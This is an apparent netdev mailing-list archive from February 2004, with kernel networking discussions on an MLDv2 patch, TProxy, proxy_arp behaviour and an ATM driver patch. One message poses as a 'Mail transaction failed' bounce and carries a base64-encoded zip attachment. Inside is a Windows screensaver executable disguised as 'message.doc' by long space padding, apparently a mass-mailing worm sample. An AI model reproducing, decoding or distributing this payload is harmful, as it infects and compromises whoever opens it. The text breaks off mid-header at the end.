07:02:34 PM: > My point is, !(skb->dev->flags & IFF_PROMISC|IFF_ALLMULTI) is likely true. Yes, "deliver" is set to the expression that includes the check "!(skb->dev->flags & (IFF_PROMISC|IFF_ALLMULTI))" and it is likely true, which is why the patch I sent has "if (likely(deliver)) {" in it. I don't understand what you're suggesting. If you aren't suggesting that I remove the "deliver" variable (which is needed again when you enable the "#if 0" part), then I think your suggestion is already in the patch. Can you explain? > And, let's concentrate on fixing the original bug: I put these in to clean up the code, because Dave Miller asked me to in the first patch. He was talking about removing "deliver," which is needed in this revision because of your comments, but "discard" is not. The stuff within the "#if 0" may need to be rewritten (certainly needs to be tested), but I didn't want to leave "discard" references, or code that is definitely incorrect. So I modified the code within the "#if 0" to also remove the unneeded "discard". The host-only path doesn't need "discard" because it is always the same as "!deliver", but the declaration should go away or it'll result in a warning. It could be "#if 0" too, but I didn't want to leave it as: int discard = 1; ... if(deliver) { discard=0; ... because "discard" is completely pointless without any multicast routing code, and it's unnecessary when the "#if 0" is changed the way I did. In other words, removing "discard" is code-cleanup, and editing within the "#if 0" is just so it won't leave an obvious bug when it becomes not "#if 0". +-DLS --0__=07BBE4A4DF8525378f9e8a93df938690918c07BBE4A4DF852537 Content-type: text/html; charset=US-ASCII Content-Disposition: inline

"Hideaki YOSHIFUJI" <yoshfuji@cerberus.hongo.wide.ad.jp> wrote on 02/10/2004 07:02:34 PM:

> My point is, !(skb->dev->flags & IFF_PROMISC|IFF_ALLMULTI) is likely true.

Yes, "deliver" is set to the expression that includes the check
"!(skb->dev->flags & (IFF_PROMISC|IFF_ALLMULTI))" and it is likely
true, which is why the patch I sent has "if (likely(deliver)) {"
in it.

I don't understand what you're suggesting. If you aren't suggesting
that I remove the "deliver" variable (which is needed again when you
enable the "#if 0" part), then I think your suggestion is already
in the patch. Can you explain?

> And, let's concentrate on fixing the original bug:

I put these in to clean up the code, because Dave Miller
asked me to in the first patch. He was talking about removing
"deliver," which is needed in this revision because of your comments,
but "discard" is not. The stuff within the "#if 0" may need to be
rewritten (certainly needs to be tested), but I didn't want to
leave "discard" references, or code that is definitely incorrect.
So I modified the code within the "#if 0" to also remove the
unneeded "discard".
The host-only path doesn't need "discard" because it is
always the same as "!deliver", but the declaration should go
away or it'll result in a warning. It could be "#if 0" too, but
I didn't want to leave it as:
int discard = 1;
...
if(deliver) {
discard=0;
...

because "discard" is completely pointless without any multicast
routing code, and it's unnecessary when the "#if 0" is changed
the way I did.

In other words, removing "discard" is code-cleanup, and editing
within the "#if 0" is just so it won't leave an obvious bug when
it becomes not "#if 0".

+-DLS --0__=07BBE4A4DF8525378f9e8a93df938690918c07BBE4A4DF852537-- From yoshfuji@linux-ipv6.org Tue Feb 10 23:00:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 10 Feb 2004 23:01:15 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1B70tKO021274 for ; Tue, 10 Feb 2004 23:00:56 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id A202633CA5; Wed, 11 Feb 2004 16:01:52 +0900 (JST) Date: Wed, 11 Feb 2004 16:01:52 +0900 (JST) Message-Id: <20040211.160152.48476158.yoshfuji@linux-ipv6.org> To: dlstevens@us.ibm.com Cc: davem@redhat.com, hibi665@oki.com, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: Source Specific Query of MLDv2 [PATCH] From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: <20040211.120234.92333563.yoshfuji@linux-ipv6.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3210 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article (at Tue, 10 Feb 2004 21:39:15 -0700), David Stevens says: > "Hideaki YOSHIFUJI" wrote on > 02/10/2004 07:02:34 PM: > > > My point is, !(skb->dev->flags & IFF_PROMISC|IFF_ALLMULTI) is likely > true. > > Yes, "deliver" is set to the expression that includes the check > "!(skb->dev->flags & (IFF_PROMISC|IFF_ALLMULTI))" and it is likely > true, which is why the patch I sent has "if (likely(deliver)) {" > in it. > > I don't understand what you're suggesting. If you aren't suggesting > that I remove the "deliver" variable (which is needed again when you > enable the "#if 0" part), then I think your suggestion is already > in the patch. Can you explain? David, they produce different assembly code. If we say deliver = likely(!(skb->dev->flags & (IFF_PROMISC|IFF_ALLMULTI))) || ipv6_chk_mcast_addr(skb->dev, &skb->nh.ipv6h->daddr, NULL); then we can run the next code without breaking pipeline in the CPU if !(skb->dev->flags & (IFF_PROMISC|IFF_ALLMULTI)) is true. This condition is true with good device and driver. If you say deliver = !(skb->dev->flags & (IFF_PROMISC|IFF_ALLMULTI)) || ipv6_chk_mcast_addr(skb->dev, &skb->nh.ipv6h->daddr, NULL); then you brean the pipeline. objdump -d will help you. :-) -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From hno@marasystems.com Tue Feb 10 23:49:40 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 10 Feb 2004 23:49:53 -0800 (PST) Received: from filer.marasystems.com (marasystems.com [213.150.153.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1B7ncKO024028 for ; Tue, 10 Feb 2004 23:49:39 -0800 Received: from localhost (henrik@localhost) by filer.marasystems.com (8.11.6/8.11.6) with ESMTP id i1B7nXv23458; Wed, 11 Feb 2004 08:49:33 +0100 Date: Wed, 11 Feb 2004 08:49:33 +0100 (CET) From: Henrik Nordstrom X-X-Sender: henrik@filer.marasystems.com To: =?iso-8859-1?q?Jambunathan=20Kalyanasundaram?= cc: netfilter-devel@lists.netfilter.org, Subject: Re: TProxy, 2.4 Kernel and NetFilter In-Reply-To: <20040209075644.11922.qmail@web25110.mail.ukl.yahoo.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3211 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hno@marasystems.com Precedence: bulk X-list: netdev On Mon, 9 Feb 2004, Jambunathan Kalyanasundaram wrote: > 2) But if I am not really interested in the overheads > imposed by the NetFilter, the only option is to patch > the Linux kernel with Balazs Scheidler's patch. Not sure this has less overhead. > If I don't like something as heavyweight as Netfilter > and something that is as "non standard" as patching > the kernel, are there any ways out ? Yes, by configuring the client to use the proxy. > Also are there any existing NetFilter modules that > work on a standard, unpatched kerenel that allow proxy > to talk to the web server as though it's the web > browser ( source address spoofing ) ? Depends on your environment and the proxy. First requirement is that the proxy is running inline on a gateway in the data path between the webserver and the client. If this is not the case then forget about it. If it is a normal Internet proxy environment where the number of clients are limited, and the proxy supports per-user selection of the outgoing address (Squid does) then it is possible with the help of NAT. 1. Set up as many IP aliases on the proxy server as you have clients. Use one of the unassigned networks. 2. Configure the proxy to use one IP alias per client IP address. 3. Configure iptables NAT rules in OUTPUT to NAT these IP aliases back to the client IP address. If it is a reverse proxy or other environment where the client addresses are not limited then this obviously can not be done and you must use the tproxy patch. Regards Henrik From cn-news@yahoo-inc.com Wed Feb 11 02:37:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 02:37:55 -0800 (PST) Received: from yahoo-inc.com ([218.18.208.222]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1BAbcKO031692 for ; Wed, 11 Feb 2004 02:37:40 -0800 Message-Id: <200402111037.i1BAbcKO031692@oss.sgi.com> From: cn-news@yahoo-inc.com To: netdev@oss.sgi.com Subject: sgmklrkd Date: Wed, 11 Feb 2004 18:35:51 +0800 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0014_A6B166B1.2A38E302" X-Priority: 3 X-MSMail-Priority: Normal X-archive-position: 3212 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: cn-news@yahoo-inc.com Precedence: bulk X-list: netdev This is a multi-part message in MIME format. ------=_NextPart_000_0014_A6B166B1.2A38E302 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Mail transaction failed. Partial message is available. ------=_NextPart_000_0014_A6B166B1.2A38E302 Content-Type: application/octet-stream; name="message.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="message.zip" UEsDBAoAAAAAAHlUSzDKJx+eAFgAAABYAABVAAAAbWVzc2FnZS5kb2MgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLnNj ck1akAADAAAABAAAAP//AAC4AAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAKgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFBF AABMAQMAAAAAAAAAAAAAAAAA4AAPAQsBBwAAUAAAABAAAABgAABgvgAAAHAAAADAAAAAAEoAABAA AAACAAAEAAAAAAAAAAQAAAAAAAAAANAAAAAQAAAAAAAAAgAAAAAAEAAAEAAAAAAQA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KsADuLCopmmapqCYkIiAmqZpmnhwaGBYUM1g n2lIAEQHODA0TdN0AygkHBgQ0yy71wgjA/gp8OhN0zRN4NjQyLy0NE3TNKyknJSMzjZN04h8cGgp b1ym6ZrBB1RMA0Q4mqZpmiwkHBQMBGmazm38KH8D9OzkpmmaptzUzMi8mqZpmrSspKCYkGebpmmM gHhwKHto3mzTdQdcA1RMKP/7C3a2++NADzQo9ywvA5qmGfkkKEocFAwEaZrO7Jv8JwPs6OCmaZqm 2NTMyMCapmm6uCewrKigmGmapmmUjIiEfKRpmqZ0bGRcVGmaphtMA0RAODCmaZqmKCAYEAiapnOb APgmzwPo4Nhnm85tVDRDA0A0NNuK/////51a0Nrl9AYfM05sck7YApdfksgBPXy+Q0uW5DWJ4DqX //////dawCmVBHbrY95c3WHocv+PIrhR7Ywu03sm1A058Kpn/////yfqsHlFFOa7k25MLRH44s+/ sqihnZyeo6u2xNXpABo3/////1d6oMn1JFaLw/48fcEIUp/vQpjxTawOc9tGtCWZEIoH/////4cK kBmlpaj+8sPSqPgSLEprj7bgDT1wpt8bWnzhJ1XJ/////xJgvhhl1TieF3PiVIlBvJrjP8ZQjW0A lk/LagyxQ3qy/////3MXzohHBciKVyPyxJlxTC4L79bArZ2Qhg97enyRiZSi/////7PH3voVNVh+ p8MCNHmh3Bpbj+Ywbc0gds8rivxRuSSS/////wN37mjlZehul4ODdoyVobDC1+8KKEltlL7rG06E vfk4/////3q/B1Kg8UVsllOzGnzlUcAypx+aGJkdpC67S950DalI/////+qPN+KQQfWsZiPjpmw1 AdCid08qCOnNtJ6Le25kXVlY/////1pfZ3KAkaW81vMTNlyFseASR3+6+Dl9xA5bq/5UrQk9//// /5p3pwJw4VXMBsNDxlzVYWFkanN/jKC1zegGJ0tynMn5/////yxim1cWWH2wYCb+I3rUMZHkWsMv zhCF/XT2d/uADJkp/////7xS64cmyG0VwG4fk4pE4ZTUEiHfroBVLRjmx6vyfGlZ/////05COzc4 OD1FUF5vg5q00fEUOmPPvvDlbLbkI1v3vGGo/////9A7ie5zPGP4meDFS5EXoSHeIrM/P1RIUXtv ftbP2W6V/9/+/ykDI+mUCb/m86VBEKZ8MmlrgCELLcdO0hCCbPn/////c6d33hSHBwf7UqoBYcAs m/cmlt2XnSJgD0aezf0sQH//////k7LS8QkgWHZoY11QUlFTamR3ASzF71QwvFcRPM6dV27///// IOOtYNrRUhXOZl+3QcAU5GWTn3j+cg2852qVe3sTdnb/////fRwNLfL29LDx0ed5+t1MZaP/J2yM 3QvbjBupvXWHO0//////2xSCQhQJRcyCD/pitylz+xWD5x6TfrQkaSn/vSjL6k7//+3/dw46sL/3 VNTsc5gBTQad8qKvwmLz5V433wVxUv////8H+BtAflQ+p6lPLAJ9MMjnBtJUKhprTAGdBPZq+h3H Bv+F///4HZAEq5YABgYQK++Z1E7/F3gLk8b4dSGMpP////9f/8xya+tv/qX97NBByXiR2cSsJsfo 4Km3Gl1v7CkQo/////+88+31b1EhNY3WUxxIKRjjt1w/nbjN0FJV47VD6r5n4/////+goDLizkk6 JC8wCo+uhOF1QKFimLL1MErg4/+RgcEnB/////93iGePVLOFCOL+gkWrYY502rsqOK7wStQYnBeK SMK1vP////+e+x9W5m6Q4DtHs6Aat9KqvMT3k0imAcAE/wYSi12p2P////+9lDH4H+haYz7f1grK QtUMXmBJcvX0rvRTF/wWFfKOmv////9zcDyCseKON1tTFqInlFRYrLE1Nz6qdWWVIW7rGoSBav// ///mChg/OpWfgYLjc6RHPQkC1i6IwqfVP4pc6p9WO189Sv/S///DeV9DCbjwq5rOHrKF2UvB1Dte z9/2R/lK9//////Y+y20imdi/1itEYwi91vLWN+F/KzgZdrrl5TiYAjvP/////884+x/EI5gft1N m+SdBRuXetvMs/s3jyXxOR2yfBr1Hf////8fvZ/pxurp6z7ZlnD9O9pFJfbzpOfWBCFMOf5bpIeJ kv///wud07BbjSo2QhvK0eQ0UKzDHMXhZopsWzNRQv/////tPiOrYtfulPQ0sunVSaxeJq68bXln lVs3hqSCPa6Hw/////+HsIC230Pfu4uAZS8eqDLLtSqTN0N54mI0WrrtaVxsIv////+sGNVz4evI hi9aSU/xQ/M3y282GD1nLaHxmEISuA3Byv+3//9rCmv4BY2NB56X6IhQtrK42fMygV/afl/30B0N /////0obAzp9Dz8LTxjxK+GItTck99QHHzdvzWuQXUKWl5+i/////5+dLyZWQIb3G6y1WrwnOySk nYnTyKVPNvpoAL4+XRnW/9v///XJFMnw5I4sNokL4Ibr0QsKM9OzNoaS5L2KMKD/////x7levNDe q8HISteCv13loJ6TkCXYQC8xoAmmszABodj/////X62RaLwYcjn1LKFjYYseGkEmNxtHqtnwu8Xm MeBMLGk3/v//6PoRxnD3Q/tHotqg1fcoxb+1lXDRBPXwTWkb/P///5Y9kwalLLo5eAzbnQIjw5lV loRbh0I8/////zM0gDX2HfMkpl7G7zja3KqH39hyLz/E5PaWNo9ENUf1/////0HVkSZpZ8oT2iwy bQkpEXNaQVYLOj3wUh2sL6Ya8Lf6//9L/zEUJpeSD7SkLL5e0AzPz7cAa9N6kVQ4iJKx/zdo/+UK 5+CVJZrIztaCA6XOe/G08x02//9f+LAM0X+RjyX+Uoo2dWvv28HZI8YPPnUVpMD9/////7y6wzwI Wudzhm7VsFdwOg9+pNxQ1UI/D46vP6vgQHPj////G8Jcf4kUsvntAxgi/guPKpSVHU1h+iZvYROD v/D///4dwgw9++Z/Pyg0niuvIs0poutnXLhoSX5mS3+D/8CqqtMqy3VooCinSN/bpxo9Jf////8k Bdfl7ODt4vj5DmeXVpG79FzN19+Rurc/uZpdiKxdOf8W///scWuX7CvALghoxZ1ZGwkL7xm2U1mV WQ//////Enb5m9SRr06wQUig7ocopmefDsc/T8i2AsWZXLVkcw6/xP//mwC2QVQU6wmD6sUA+Y5l XmhhFPbj4VKT/8L//9rIX5t3xqKJytLk2yLxH48cya7VQHi4TNx8//////HJs26AaqCFK4S54KvN 53F/t5sxWrWR0gg0cE6MJqNpv/T/bzUIm12byItb/UCW3EBYzBDq/LCLxW3/////i7LfHfd0Edwm q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qENXviYWxcR+1tgal 5L/8////nzPUuOiiyQd4NPkAD46oCZYYmA7huw1qfy09bQiX/xL/SyaRAVxj5vRRa2s3bBzYMGWF Tv///wIt8u2VBmx7pQEbwfQIglfED/XG2bBlUOn+////txLquL6LfIi5/N8d3WJJLdoV83zTjGVM 1PtYYbJNzu3/FxYsOsm8o+Iwu9RBpd9K15XYYf/////E0aT79NbTaulpQ/zZbjRGiGet0Lhg2nMt BETlHQMzX63+//9MCqrJfA3dPHEFUKpBAicQEAu+hiAMyf7//7/xaFezhWcJ1Ga5n+Rhzg753l6Y ydkpIpjQsLT/////qNfHFz2zWYENtC47XL23rWy6wCCDuO22s7+aDOK2A5r/////0rF0OUfV6q93 0p0VJtsEgxbccxILY+OEO2SUPmptDaj/N/j/Wmp6C88O5J3/CZMnrmaxngd9RJMP8NKj/yX+/wiH aPIBHv7CBmldV2L3y1KAcTZsGecGa/8G//9udhvU/uAr04laetoQzErdfd+5+fnvvo7/////Q763 F9WOsGDoo9bWfpPRocTC2DhS8t9P8We70WdXvKb/////3Qa1P0s2skjaKw3YTBsKr/ZKAzZgegRB w+9g31XfZ6j/////745uMXm+aUaMs2HLGoNmvKDSbyU24mhSlXcMzANHC7v/////uRYCIi8mBVW+ O7rFKAu9spJatCsEarNcp//XwjHP0LW/0f//i57ZLB2u3luwwmSbJvJj7JyjkQqTbQKp/xf4/wYJ nD82DuuFZwdyE1cegkq/lRR6uOKuK/////+xezgbtgybjtKSDb7V5bfv3Hwh39sL1NLThkLi1PH4 s/7/f6HdlIPaH80WvoFbJrn24Xewb3dHtxjmWv+3+jd9cGoP/8o7BvkLARH/nmWPaa5i///f+PjT /2thxGwWeOIKoO7SDddUgwROwrMDOWEm/////2en9xZg0E1HaUnbd24+SmrRrtxa1tlmC99A8DvY N1Ou/////7ypxZ673n/Pskfp/7UwHPK9vYrCusowk7NTpqO0JAU23+r//9C6kwbXzSlX3lS/Z9kj Lnpms7jsxAIbaP////9dlCtvKje+C7ShjgzDG98FWo3v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AAAAS0VSTkVMMzIuRExM AEFEVkFQSTMyLmRsbABNU1ZDUlQuZGxsAFVTRVIzMi5kbGwAV1MyXzMyLmRsbAAATG9hZExpYnJh cnlBAABHZXRQcm9jQWRkcmVzcwAARXhpdFByb2Nlc3MAAABSZWdDbG9zZUtleQAAAG1lbXNldAAA d3NwcmludGZBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAABQSwECFAAKAAAAAAB5VEswyicfngBYAAAAWAAAVQAAAAAAAAAAACAAAAAA AAAAbWVzc2FnZS5kb2MgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgLnNjclBLBQYAAAAAAQABAIMAAABzWAAAAAA= ------=_NextPart_000_0014_A6B166B1.2A38E302-- From acme@conectiva.com.br Wed Feb 11 03:51:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 03:51:33 -0800 (PST) Received: from orion.netbank.com.br (orion.netbank.com.br [200.203.199.90]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1BBp8KO007636 for ; Wed, 11 Feb 2004 03:51:11 -0800 Received: from [200.163.195.99] (helo=oops.kerneljanitors.org) by orion.netbank.com.br with asmtp (Exim 3.33 #1) id 1AqstM-000745-00; Wed, 11 Feb 2004 09:50:56 -0200 Received: by oops.kerneljanitors.org (Postfix, from userid 500) id CE585E731; Wed, 11 Feb 2004 10:07:59 -0200 (BRDT) Date: Wed, 11 Feb 2004 10:07:59 -0200 From: Arnaldo Carvalho de Melo To: "David S. Miller" Cc: Nivedita Singhvi , yoshfuji@linux-ipv6.org, netdev@oss.sgi.com Subject: Re: [PATCH] IPV4: spelling correction Message-ID: <20040211120759.GF13619@conectiva.com.br> References: <20040211.032831.67897970.yoshfuji@linux-ipv6.org> <20040211.033324.120562092.yoshfuji@linux-ipv6.org> <402926A0.20809@us.ibm.com> <20040210105124.61431b9b.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040210105124.61431b9b.davem@redhat.com> X-Url: http://advogato.org/person/acme Organization: Conectiva S.A. User-Agent: Mutt/1.5.5.1i X-archive-position: 3213 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: acme@conectiva.com.br Precedence: bulk X-list: netdev Em Tue, Feb 10, 2004 at 10:51:24AM -0800, David S. Miller escreveu: > Often times I can tell who wrote what merely by the phrasing style > of the comments. That's incredibly cool :) This is sooooo true... 8) Sometimes there is a -ANK, but sometimes it is just not needed, at all :P - Arnaldo From hadi@cyberus.ca Wed Feb 11 05:41:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 05:42:09 -0800 (PST) Received: from blacktip.cybersurf.com (blacktip.cybersurf.com [209.197.145.196]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1BDfuKO014696 for ; Wed, 11 Feb 2004 05:41:56 -0800 Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by blacktip.cybersurf.com (8.12.8/8.12.8) with ESMTP id i1BDfp1T019056 for ; Wed, 11 Feb 2004 06:41:51 -0700 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1Aqucg-0007Sg-2f; Wed, 11 Feb 2004 08:41:50 -0500 Subject: Re: [PATCH] IPV4: spelling correction From: jamal Reply-To: hadi@cyberus.ca To: Arnaldo Carvalho de Melo Cc: "David S. Miller" , Nivedita Singhvi , yoshfuji@linux-ipv6.org, netdev@oss.sgi.com In-Reply-To: <20040211120759.GF13619@conectiva.com.br> References: <20040211.032831.67897970.yoshfuji@linux-ipv6.org> <20040211.033324.120562092.yoshfuji@linux-ipv6.org> <402926A0.20809@us.ibm.com> <20040210105124.61431b9b.davem@redhat.com> <20040211120759.GF13619@conectiva.com.br> Content-Type: text/plain Organization: jamalopolis Message-Id: <1076506846.2274.265.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 11 Feb 2004 08:41:19 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 3215 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Some of those comments should be framed ;-> They are just the best. [I have to say the best comments i have ever seen was in some old code (written in the 70s in some big corp that i worked for) by some guy who claimed he couldnt fix something because he was naked (had to get dressed). Only 20 years later we had to fix that bug because of a customer problem;-> It was good he had that comment in there. Afterwards trying to catchup with sleep I kept getting image flashes of this guy trying to get dressed in a hurry and forgeting to fix the bug. Then i started wondering what possibly could have been rushing that guy to get dressed? Then i saluted the guy for being courageous enough to leave that comment in there (it was the most obscene and coolest comment in a few million lines of code). hehe. I never met him but there are so many unanswered questions ;-> Dude, if you are reading this message call me, you are my hero ;-> Fast forward 20 years from now with the comments in the net code in Linux ..] cheers, jamal On Wed, 2004-02-11 at 07:07, Arnaldo Carvalho de Melo wrote: > Em Tue, Feb 10, 2004 at 10:51:24AM -0800, David S. Miller escreveu: > > Often times I can tell who wrote what merely by the phrasing style > > of the comments. That's incredibly cool :) > > This is sooooo true... 8) Sometimes there is a -ANK, but sometimes > it is just not needed, at all :P > > - Arnaldo > > From hadi@cyberus.ca Wed Feb 11 05:41:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 05:41:43 -0800 (PST) Received: from blacktip.cybersurf.com (blacktip.cybersurf.com [209.197.145.196]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1BDfRKO014623 for ; Wed, 11 Feb 2004 05:41:28 -0800 Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by blacktip.cybersurf.com (8.12.8/8.12.8) with ESMTP id i1BDfM1T018753 for ; Wed, 11 Feb 2004 06:41:22 -0700 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1AqucA-0007Ou-1Y; Wed, 11 Feb 2004 08:41:18 -0500 Subject: Re: Change proxy_arp to respond only for valid neighbours From: jamal Reply-To: hadi@cyberus.ca To: Julian Anastasov Cc: netdev@oss.sgi.com, Alexey Kuznetsov In-Reply-To: References: <1076338874.1026.36.camel@jzny.localdomain> <1076367038.1037.15.camel@jzny.localdomain> <1076376094.1039.102.camel@jzny.localdomain> <1076410090.1039.578.camel@jzny.localdomain> Content-Type: text/plain Organization: jamalopolis Message-Id: <1076506090.2268.252.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 11 Feb 2004 08:40:46 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 3214 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Tue, 2004-02-10 at 20:52, Julian Anastasov wrote: > > > 2. we lie and send false answers to unicast probes, for long time > > > after target becomes unreachable > > > > This is current behavior; i wouldnt say we lie rather we send educated > > response back. > > To clear this issue, do you mean this case 2 is for entry in > STALE state? And because we are not probing it its state in our cache is > outdated. You prefer in this case to send answer, right? Because I > do not see a good reason to send answer for FAILED/INCOMPLETE/NONE. > And because STALE is part of VALID we always will send answer, > no matter brd/uni. I do not see where we need to send ARP reply > for !NUD_VALID. I agree with you. We may be saying the same thing. What i mean is [**]: further below. > > > I can agree with you (for case 2) only if the requestor is > > > not going to send unicast probes forever. > > > > Thats why i asked if you are trying to catch insane implementation. > > In my case everything is Linux. Ok, theres some pollution with > > a CISCO upstream, but that seems to have a sane arp too. > > Leave #2 with a flag to ask for for neigh_event_send() to be used > > when needed. > > I only worry if you want to send replies to unicast > probes in FAILED/INCOMPLETE/NONE state. If we have valid neighbour, > even STALE one, we can send reply no matter the uni/brd type. > brd/uni are differently treated only for the delay but we should > ignore both uni and brd requests if the entry is !VALID. Thats what i was also trying to say with a small caveat in [**]. > I think, it is not enough the flag to control whether > neigh_event_send is used, if the flag is 0 you want also to > send replies in !VALID state (as before) because nobody will > send us IP traffic without receiving answer from us - only > IP traffic can originate resolution in such case. For now, I > see that the flag can be only in this way (on output interface?): Look at that sample code i sent earlier - thats what ive been meaning to say all along ;-> Gives meaning to code speaks louder ;-> > - 0: (default, as before): send answers in !VALID, do not use > neigh_event_send. The problem with the old behaviour is that > we always send answer, even in !VALID. > yes. > - 1: (new): do not send answers in !VALID, use neigh_event_send > > do you mean the same? > I think so. > > I dont question the validity of this portion of your patch. > > i.e it is an improvement in certain cases - the cost is only an extra > > neigh_event_send(). But because it is not needed 100% of the time given > > And I do not see any cost in using neigh_event_send, > you are always going to fire the resolution process, now with ARP > probes or later with IP traffic in the default mode. The ARP > traffic to/from target will be equal in both cases. Ok, so you agree with what i say in [**] but you are just trying to ensure it happens all the time i think. > > the educated assumption being made right now, i think the behavior > > should be configurable. For me #2 breaks only if the target dissapeares > > (cable gone or target removed). > > I hope you can clarify your idea with pseudo-C example :) The previous sample i sent + [**] below. Note that in the sample code i sent case of proxy_delay being zero even bcasts are treated the same way. [..] [**] If a linux machine (which is sane ARP implementation) sent a unicast probe to us, theres high likelihood that the target is in VALID state. This is what i refered to as an educated guess. cheers, jamal From chas@cmf.nrl.navy.mil Wed Feb 11 06:29:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 06:30:05 -0800 (PST) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1BETrKO016448 for ; Wed, 11 Feb 2004 06:29:53 -0800 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id i1BETlRr005845; Wed, 11 Feb 2004 09:29:47 -0500 (EST) Message-Id: <200402111429.i1BETlRr005845@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][ATM]: [he] unconditionalize extra pci reads to flush posted writes Reply-To: chas3@users.sourceforge.net Date: Wed, 11 Feb 2004 09:29:48 -0500 From: chas williams (contractor) X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 3216 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: 